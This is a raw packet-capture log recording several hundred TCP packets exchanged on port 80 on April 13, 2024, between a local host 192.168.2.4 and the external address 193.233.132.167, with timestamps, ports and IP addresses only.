Apr 13, 2024 20:21:09.054099083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054109097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054136992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054141045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054182053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054332018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054368019 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054377079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054404974 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054404974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054442883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054449081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054478884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054486990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054516077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054523945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054552078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054558992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054589033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054596901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054625034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054631948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054661989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054666996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054697990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054707050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054735899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054744959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054775000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054780960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054811954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054819107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054850101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054861069 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054886103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054891109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054923058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054932117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054960012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.054965973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.054996967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055006981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055038929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055067062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055104017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055110931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055140972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055146933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055179119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055183887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055216074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055222988 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055253029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.055259943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.055294991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.057651997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.057670116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.057734013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.058846951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058864117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058881044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058897972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058898926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.058916092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058933973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.058933973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.058959961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.058976889 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059449911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059467077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059483051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059500933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059506893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059519053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059533119 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059534073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059551001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059560061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059587955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059792995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059809923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059828043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.059851885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.059866905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060364962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060415983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060419083 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060432911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060455084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060465097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060466051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060483932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060501099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060503006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060518980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060532093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060539007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060549974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060565948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060570002 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060583115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060589075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060599089 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060600996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060617924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060620070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060635090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060638905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060652018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060659885 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060672998 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060686111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060693026 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060698032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060710907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060714960 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060739040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060748100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060760021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060810089 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060827971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060844898 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060853004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060862064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060878992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060893059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060905933 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060909033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060925961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060931921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060942888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060956955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060960054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060967922 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060976982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.060988903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.060995102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061000109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061012030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061019897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061039925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061045885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061048031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061064005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061080933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061096907 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061108112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061114073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061140060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061147928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061148882 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061172962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061189890 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061189890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061207056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.061212063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061229944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.061239004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070557117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070610046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070626974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070643902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070660114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070677996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070678949 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070693970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070710897 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070729017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070730925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070744038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070748091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070761919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070779085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070785046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070796013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070801973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070812941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070822954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070827961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070843935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070853949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070862055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070878983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070882082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070898056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070905924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070914984 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070929050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070930958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070941925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070949078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070961952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070965052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070971966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.070982933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.070993900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071001053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071003914 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071024895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071033955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071106911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071125031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071141958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071157932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071165085 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071175098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071187019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071191072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071208000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071212053 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071223974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071237087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071240902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071258068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071274042 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071274996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071288109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071290970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071306944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071317911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071325064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071341038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071346045 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071357012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071365118 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071373940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071391106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071402073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071408033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071425915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071427107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071443081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071446896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071460009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071470976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071475983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071482897 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071492910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071502924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071518898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071540117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071542025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071558952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071574926 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071592093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071597099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071609020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071623087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071624994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071640968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071655035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071657896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071675062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071683884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071691990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071700096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071710110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071726084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071726084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071738958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071743011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071759939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071760893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071775913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071779013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071791887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071799040 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071808100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071825981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071830034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071840048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071844101 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071861029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071866989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071877956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071888924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071893930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071912050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071912050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071914911 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071928978 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071932077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071947098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071949959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071965933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071966887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071983099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.071983099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071996927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.071999073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072015047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072016001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072030067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072032928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072047949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072050095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072062969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072066069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072083950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072083950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072098970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072101116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072118044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072119951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072134018 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072134018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072150946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072153091 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072168112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072170973 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072185040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072189093 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072201967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072206020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072227001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072227001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072237015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072243929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072259903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072261095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072277069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072288990 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072293997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072309971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072313070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072326899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072336912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072341919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072357893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072366953 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.072375059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072391987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.072397947 CEST	49739	80	192.168.2.4	193.233.132.167
